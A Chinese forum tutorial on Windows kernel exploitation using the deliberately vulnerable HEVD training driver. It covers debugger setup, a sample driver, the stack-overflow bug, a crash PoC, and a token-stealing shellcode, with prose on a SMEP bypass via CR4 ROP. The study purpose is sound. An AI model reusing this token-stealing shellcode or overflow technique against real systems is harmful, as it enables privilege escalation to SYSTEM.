首页
社区
课程
招聘
[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
发表于: 2021-6-26 22:06 11117

[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

erfze 活跃值
12
2021-6-26 22:06
11117

搭建Windbg+VMware双机调试环境可参阅配置WinDbg,调试操作系统(双机调试)一文,笔者最终使用环境如下:

关于编写驱动程序微软提供示例偏简单,故笔者从Github上找到另一示例。如何安装WDK,创建项目及添加源文件不再赘述,可参阅微软示例。驱动程序中源文件代码如下:

禁用Spectre缓解:

修改目标系统版本及平台:

生成后将所有文件复制进虚拟机。尽管微软推荐使用PnPUtil进行驱动安装,但其于Win7系统下提供功能极少:

故笔者采用OSRLoader进行驱动安装及启用:

WinDbg中查看,加载成功:

之后编译主程序,其负责向驱动程序发出请求:

编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8命令,如此一来便可查看DbgPrint函数输出结果。执行虚拟机中主程序:

下面于WinDbg中查看由主程序DeviceIoControl函数执行到驱动程序IrpDeviceIoCtlHandler函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler函数处设断,虚拟机中执行主程序,成功断下后kb命令输出结果:

其中0x00d21929地址对应主程序中cmp esi, esp(call ds:__imp__DeviceIoControl@32下一条指令):

其传递给KernelBase!DeviceIoControl第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler函数中switch判断的IoControlCode

首先查看HEVD源码,其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似,不再另行赘述。本节对其BufferOverflowStack.c文件:

漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);一句,其在复制时使用UserBuffer长度,且未进行校验,如此一来,若UserBuffer长度超过KernelBuffer长度,可造成溢出。KernelBuffer长度在初始化时为0x800:

下面为触发漏洞POC:

int chBufferLen = 0x824;正好可以覆盖到函数返回地址:

完成覆盖,BSOD:

上述POC仅仅是引发崩溃,下面编写Exp以执行Shellcode。Shellcode如下:

pushadpopad及后续指令用于恢复执行环境,详见后文。mov eax,[fs:eax + 0x124]功能是获取CurrentThread指针内容,fs:[0]存储的是_KPCR结构:

其偏移0x120处存储的是_KPRCB

mov eax,[fs:eax + 0x124]指令中0x124偏移用于获取_KPRCBCurrentThread指向内容。_KTHREAD偏移0x40处存储的是_KAPC_STATE

_KAPC_STATE偏移0x10处存储的是指向_KPROCESS指针:

_EPROCESS结构第一项即为_KPROCESS,故获取到指向_KPROCESS指针等同于获取到_EPROCESS地址:

由此mov eax,[eax + 0x50]指令中0x50偏移用于获取_EPROCESS。通过ActiveProcessLinks字段可以实现进程遍历(mov eax,[eax + 0xb8]sub eax,0xb8),查找UniqueProcessId字段等于4的进程(System进程PID为4,cmp[eax + 0xb4],edx)。最后通过mov edx,[eax + 0xf8]mov[ecx + 0xf8],edx两条指令替换Token。

xor eax,eax;pop ebp;retn 8返回STATUS_SUCCESS给IrpDeviceIoCtlHandler函数:

完整Exploit如下:

成功:

SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入,从Windows 8开始启用该特性,其作用在于禁止RING-0执行用户空间代码,而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入,相较SMEP增加读与写保护:

设置SMEP与SMAP位于CR4寄存器中:

本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功,但笔者从中学到如何获取内核基址以及绕过SMEP),内核版本如下:

Windows 10 Kernel Version 16299 MP (1 procs) Free x64
Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748

查看CR4寄存器内容:

可以看到已启用SMEP。完整Exploit如下(来自h0mbre's Github):

其获取内核基址采用NtQuerySystemInformation函数:

之后Bypass SMEP采用修改CR4寄存器,置其第21位为0。据笔者环境,CR4=00000000001506f8,应修改为00000000000506f8,Gadgets如下:

笔者环境中_EPROCESS结构与Exp作者略有不同,故修改Shellcode如下:

其他部分与上节思路基本一致,不再赘述。笔者构造的Exploit可以于目标虚拟机中执行,修改CR4及替换Token完成后恢复原执行环境,崩溃如下:

由于知识储备有限,笔者尝试良久,未果。总结整体思路为:Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。

// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
 
#include <ntddk.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)   //#define CTL_CODE(DeviceType, Function, Method, Access) (  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
 
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
 
/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_NOT_SUPPORTED;
}
 
/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_SUCCESS;
}
 
/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
    UNICODE_STRING DosDeviceName = { 0 };
 
    PAGED_CODE();
 
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    // Delete the symbolic link
    IoDeleteSymbolicLink(&DosDeviceName);
 
    // Delete the device
    IoDeleteDevice(DriverObject->DeviceObject);
 
    DbgPrint("[!] Hello Driver Unloaded\n");
}
 
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 
    if (IrpSp) {
        switch (IoControlCode) {
        case HELLO_DRV_IOCTL:
            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }
    }
 
    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return Status;
}
 
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    UINT32 i = 0;
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    UNICODE_STRING DeviceName, DosDeviceName = { 0 };
 
    UNREFERENCED_PARAMETER(RegistryPath);
    PAGED_CODE();
 
    RtlInitUnicodeString(&DeviceName, DEV_NAME);
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    DbgPrint("[*] In DriverEntry\n");
 
    // Create the device
    Status = IoCreateDevice(DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject);
 
    if (!NT_SUCCESS(Status)) {
        if (DeviceObject) {
            // Delete the device
            IoDeleteDevice(DeviceObject);
        }
 
        DbgPrint("[-] Error Initializing HelloDriver\n");
        return Status;
    }
 
    // Assign the IRP handlers
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        // Disable the Compiler Warning: 28169
#pragma warning(push)
#pragma warning(disable : 28169)
        DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop)
    }
 
    // Assign the IRP handlers for Create, Close and Device Control
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
 
    // Assign the driver Unload routine
    DriverObject->DriverUnload = IrpUnloadHandler;
 
    // Set the flags
    DeviceObject->Flags |= DO_DIRECT_IO;
    DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
 
    // Create the symbolic link
    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
 
    // Show the banner
    DbgPrint("[!] HelloDriver Loaded\n");
 
    return Status;
}
// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
 
#include <ntddk.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)   //#define CTL_CODE(DeviceType, Function, Method, Access) (  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
 
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
 
/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_NOT_SUPPORTED;
}
 
/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_SUCCESS;
}
 
/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
    UNICODE_STRING DosDeviceName = { 0 };
 
    PAGED_CODE();
 
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    // Delete the symbolic link
    IoDeleteSymbolicLink(&DosDeviceName);
 
    // Delete the device
    IoDeleteDevice(DriverObject->DeviceObject);
 
    DbgPrint("[!] Hello Driver Unloaded\n");
}
 
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 
    if (IrpSp) {
        switch (IoControlCode) {
        case HELLO_DRV_IOCTL:
            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }
    }
 
    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return Status;
}
 
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    UINT32 i = 0;
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    UNICODE_STRING DeviceName, DosDeviceName = { 0 };
 
    UNREFERENCED_PARAMETER(RegistryPath);
    PAGED_CODE();
 
    RtlInitUnicodeString(&DeviceName, DEV_NAME);
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    DbgPrint("[*] In DriverEntry\n");
 
    // Create the device
    Status = IoCreateDevice(DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject);
 
    if (!NT_SUCCESS(Status)) {
        if (DeviceObject) {
            // Delete the device
            IoDeleteDevice(DeviceObject);
        }
 
        DbgPrint("[-] Error Initializing HelloDriver\n");
        return Status;
    }
 
    // Assign the IRP handlers
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        // Disable the Compiler Warning: 28169
#pragma warning(push)
#pragma warning(disable : 28169)
        DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop)
    }
 
    // Assign the IRP handlers for Create, Close and Device Control
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
 
    // Assign the driver Unload routine
    DriverObject->DriverUnload = IrpUnloadHandler;
 
    // Set the flags
    DeviceObject->Flags |= DO_DIRECT_IO;
    DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
 
    // Create the symbolic link
    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
 
    // Show the banner
    DbgPrint("[!] HelloDriver Loaded\n");
 
    return Status;
}
 
 
 
 
 
 
 
 
 
 
// Sample app that talks with the HelloDev (Hello World driver)
 
#include <stdio.h>
#include <windows.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
 
const char kDevName[] = "\\\\.\\HelloDev";
 
HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}
 
void close_device(HANDLE device)
{
    CloseHandle(device);
}
 
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
    //prepare input buffer:
    DWORD bufSize = 0x4;
    BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
 
    //fill the buffer with some content:
    RtlFillMemory(inBuffer, bufSize, 'A');
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        inBuffer,
        bufSize,
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
    return is_ok;
}
 
int main()
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
 
    send_ioctl(dev, HELLO_DRV_IOCTL);
 
    close_device(dev);
    system("pause");
    return 0;
}
// Sample app that talks with the HelloDev (Hello World driver)
 
#include <stdio.h>
#include <windows.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
 
const char kDevName[] = "\\\\.\\HelloDev";
 
HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}
 
void close_device(HANDLE device)
{
    CloseHandle(device);
}
 
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
    //prepare input buffer:
    DWORD bufSize = 0x4;
    BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
 
    //fill the buffer with some content:
    RtlFillMemory(inBuffer, bufSize, 'A');
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        inBuffer,
        bufSize,
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
    return is_ok;
}
 
int main()
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
 
    send_ioctl(dev, HELLO_DRV_IOCTL);
 
    close_device(dev);
    system("pause");
    return 0;
}
 
 
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
 
 
 
#include "BufferOverflowStack.h"
 
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
 
 
/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
 
        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
 
 
/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 
    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }
 
    return Status;
}
#include "BufferOverflowStack.h"
 
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
 
 
/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
 
        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
 
 
/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 
    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }
 
    return Status;
}
 
 
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n",dev);
    CHAR* chBuffer;
    int chBufferLen = 0x824;
    chBuffer = (CHAR*)malloc(chBufferLen);
    ZeroMemory(chBuffer, chBufferLen);
    memset(chBuffer, 0x41, chBufferLen);
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n",dev);
    CHAR* chBuffer;
    int chBufferLen = 0x824;
    chBuffer = (CHAR*)malloc(chBufferLen);
    ZeroMemory(chBuffer, chBufferLen);
    memset(chBuffer, 0x41, chBufferLen);
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}
 
 
 
 
 
 
CHAR shellcode[] =
        "\x60"                            //pushad
        "\x31\xc0"                        //xor eax, eax
        "\x64\x8b\x80\x24\x01\x00\x00"    //mov eax,[fs:eax + 0x124]
        "\x8b\x40\x50"                    //mov eax,[eax + 0x50]
        "\x89\xc1"                        //mov ecx,eax
        "\xba\x04\x00\x00\x00"            //mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        //mov eax,[eax + 0xb8]<----
        "\x2d\xb8\x00\x00\x00"            //sub eax,0xb8            |
        "\x39\x90\xb4\x00\x00\x00"        //cmp[eax + 0xb4],edx        |
        "\x75\xed"                        //jnz  --------------------
        "\x8b\x90\xf8\x00\x00\x00"        //mov edx,[eax + 0xf8]
        "\x89\x91\xf8\x00\x00\x00"        //mov[ecx + 0xf8],edx
        "\x61"                            //popad
        "\x31\xc0"                        //xor eax,eax
        "\x5d"                            //pop ebp
        "\xc2\x08\x00"                    //ret 0x8
        ;
CHAR shellcode[] =
        "\x60"                            //pushad
        "\x31\xc0"                        //xor eax, eax
        "\x64\x8b\x80\x24\x01\x00\x00"    //mov eax,[fs:eax + 0x124]
        "\x8b\x40\x50"                    //mov eax,[eax + 0x50]
        "\x89\xc1"                        //mov ecx,eax
        "\xba\x04\x00\x00\x00"            //mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        //mov eax,[eax + 0xb8]<----
        "\x2d\xb8\x00\x00\x00"            //sub eax,0xb8            |
        "\x39\x90\xb4\x00\x00\x00"        //cmp[eax + 0xb4],edx        |
        "\x75\xed"                        //jnz  --------------------
        "\x8b\x90\xf8\x00\x00\x00"        //mov edx,[eax + 0xf8]
        "\x89\x91\xf8\x00\x00\x00"        //mov[ecx + 0xf8],edx
        "\x61"                            //popad
        "\x31\xc0"                        //xor eax,eax
        "\x5d"                            //pop ebp
        "\xc2\x08\x00"                    //ret 0x8
        ;
ntdll!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
